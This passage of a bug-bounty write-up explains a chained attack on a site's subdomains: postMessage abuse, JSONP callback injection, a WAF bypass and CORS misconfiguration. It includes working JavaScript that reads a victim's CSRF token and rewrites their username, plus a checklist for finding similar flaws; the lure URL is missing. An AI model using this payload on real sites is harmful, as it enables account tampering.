const url = `https://www.redacted.com/api/updateProfile?csrftoken=${token}`;
const randomString = (Math.random() + 1).toString(36).substring(7);
const data = {'username':`PWNED_${randomString}`};
const opts = {
method: 'POST',
credentials: 'include',
body: JSON.stringify(data)
};
fetch(url, opts);
}
csrf();
Line by line:
async function stealToken() {declares an asynchronous function, one that can wait for network answers.const url = 'https://www.redacted.com/profile';is the profile endpoint that returns the token.const opts = {method: 'POST', credentials: 'include'};sets the request options.credentials: 'include'tells the browser to attach cookies, which is what makes the request authenticated.return await fetch(url, opts)sends the request and waits for the response..then(body => body.json())parses the response body as JSON..then(data => data.csrftoken);extracts thecsrftokenfield and returns it.async function csrf() {declares the second function.const token = await stealToken();gets the token first.const url = ...builds the profile update address with the stolen token in thecsrftokenquery parameter.const randomString = (Math.random() + 1).toString(36).substring(7);makes a short random string, so the new username is easy to spot.const data = {'username':PWNED_${randomString}};is the new profile data.const opts = { method: 'POST', credentials: 'include', body: JSON.stringify(data) };sets up the update request with cookies and a JSON body.fetch(url, opts);sends it.csrf();starts the whole thing.
The victim, authenticated on https://www.redacted.com, is lured to:
The payload value is URL-encoded.
If the victim clicks the button, the payload executes on https://out-of-scope.redacted.com, loads 1.js, and the victim's username on https://www.redacted.com is unwittingly changed to a telltale value such as PWNED_ysp4d.
Why it worked
Several weaknesses combine, and each one is needed for the chain:
- The
'message'listener onhttps://out-of-scope.redacted.com/searchperforms no origin check, so any page can drive it. - The listener dispatches to arbitrary functions reachable through
window.APPwith a single string argument, andAPP.apiCallbuilds a JSONP URL from that argument without secure construction, allowing the callback to be controlled. - The JSONP endpoint on
https://search.redacted.comaccepts a fully doubly URL-encoded callback, so arbitrary JavaScript can be placed in the response. - The WAF in front of the JSONP endpoint can be bypassed by omitting the
?before the query string, because the origin server parses the URL differently from the WAF. - The CORS policy on
https://www.redacted.com/profiletrusts any subdomain ofredacted.com, so XSS on any subdomain, in scope or not, is enough to read the anti-CSRF token.
The existing defences did not stop the chain. X-Frame-Options: SAMEORIGIN prevented framing but not pop-ups. The over-permissive CORS policy let the XSS read the anti-CSRF token. The WAF was defeated by URL parsing differences.
Impact
An attacker who can lure an authenticated victim to an attacker-controlled page and get one click can change that victim's profile data on https://www.redacted.com, in the demonstrated case the username. The attack requires user interaction and works only against a victim authenticated on https://www.redacted.com. The researcher rated it with the CVSS vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N (7.1 High). CVSS is a standard scoring system for vulnerabilities; the vector is a compact string of the individual factors, and 7.1 High is the resulting score and band.
The report was rewarded with €200, although the programme's reward table paid just under €1,000 for High. The researcher received no justification despite repeated requests.
What should be fixed
What was changed is not stated in the report. The weaknesses that should be addressed are the missing origin check in the message listener, the unsafe construction of the JSONP URL in APP.apiCall, the lenient callback validation on the JSONP endpoint, the URL parsing discrepancy that bypasses the WAF, and the CORS policy that trusts every subdomain of redacted.com.
What to try on your own targets
- Look for
'message'listeners without origin checks on any subdomain, in scope or not, using a tool such as postMessage-tracker. A positive result is a listener that processes messages from an arbitrary origin. - Enumerate the functions reachable through the object the listener dispatches on, looking for script gadgets such as cookie setters or URL loaders. A positive result is a function that lets you set a cookie, load a script, or otherwise execute code.
- Test JSONP endpoints for lenient callback validation, including fully doubly URL-encoded values. A positive result is a response that reflects your callback as executable JavaScript.
- Try WAF bypasses based on URL parsing differences, such as omitting the
?before the query string. A positive result is a200from the origin where the WAF returned403. - Check CORS policies on authenticated endpoints for wildcard subdomain trust. A positive result is
Access-Control-Allow-Originreflecting an arbitrary subdomain. - Check whether
X-Frame-Optionsblocks framing but not pop-ups, and whether a one-click pop-up flow is enough to reach the vulnerable listener.
Glossary
- API: a set of addresses a website's own pages use to read and change data on the server.
- Ambient authority: the server trusting a request simply because the browser attached a cookie automatically, without asking the user again.
- Bug bounty: a scheme where a company pays outside people for reporting security problems.
- Callback: in JSONP, the name of the function the server wraps its data in, chosen by the caller.
- Cookie: a small piece of data a site stores in your browser and that your browser attaches to later requests to that site.
- CORS: Cross-Origin Resource Sharing, the mechanism by which a server says which other sites may read its responses.
- CSRF: cross-site request forgery, a hostile site making your browser perform an action on another site where you are logged in.
- CSS: not used in this report.
- CVSS: a standard scoring system for vulnerabilities, producing a vector string and a score.
- DOM-based XSS: XSS where the malicious input is handled by the page's own JavaScript in the browser.
- Double encoding: URL-encoding a value twice, so
(becomes%28and then%2528. - eval: a JavaScript feature that turns text into running code.
- Function constructor: a JavaScript feature that creates a function from text, another way to run code.
- GET: the kind of HTTP request sent when you simply open a page.
- HTML: the language pages are written in.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTPS: HTTP over an encrypted connection.
- iframe: a page embedded inside another page.
- JSON: a text format for structured data.
- JSONP: a technique for fetching data as a script, by having the server wrap its data in a function call.
- Listener: a function that runs when a particular event, such as an incoming message, happens.
- Origin: the combination of scheme, host and port that identifies a site to the browser.
- Out-of-scope asset: a system the company did not list for testing, but which may still be reachable and trusted.
- Pop-up: a new browser window opened by a page.
- postMessage: the browser feature that lets one window send a message to another.
- POST: the kind of HTTP request a browser sends when submitting something.
- Query parameter: the
name=valuepart after a?in a URL. - SameSite: a cookie setting controlling whether the cookie is sent on requests originating from other sites.
- Scope: the list of systems a company agreed to have tested.
- Script gadget: an existing function that, when called with attacker-controlled input, does something useful to an attacker.
- Secure: a cookie setting meaning the cookie is only sent over HTTPS.
- Session: the state of being logged in, identified by a cookie.
- Session fixation: forcing a victim to use a session identifier the attacker knows.
- Subdomain: a prefix on a domain name, such as
wwwinwww.redacted.com. - Token: a long random value the server gives the browser and expects to see again on sensitive requests.
- URL encoding: replacing special characters with
%codes so they can travel safely in a URL. - WAF: web application firewall, a filter in front of a server that blocks requests that look malicious.
- X-Frame-Options: a response header that tells the browser whether a page may be embedded in a frame.
- XSS: cross-site scripting, getting attacker JavaScript to run inside a page of the target site.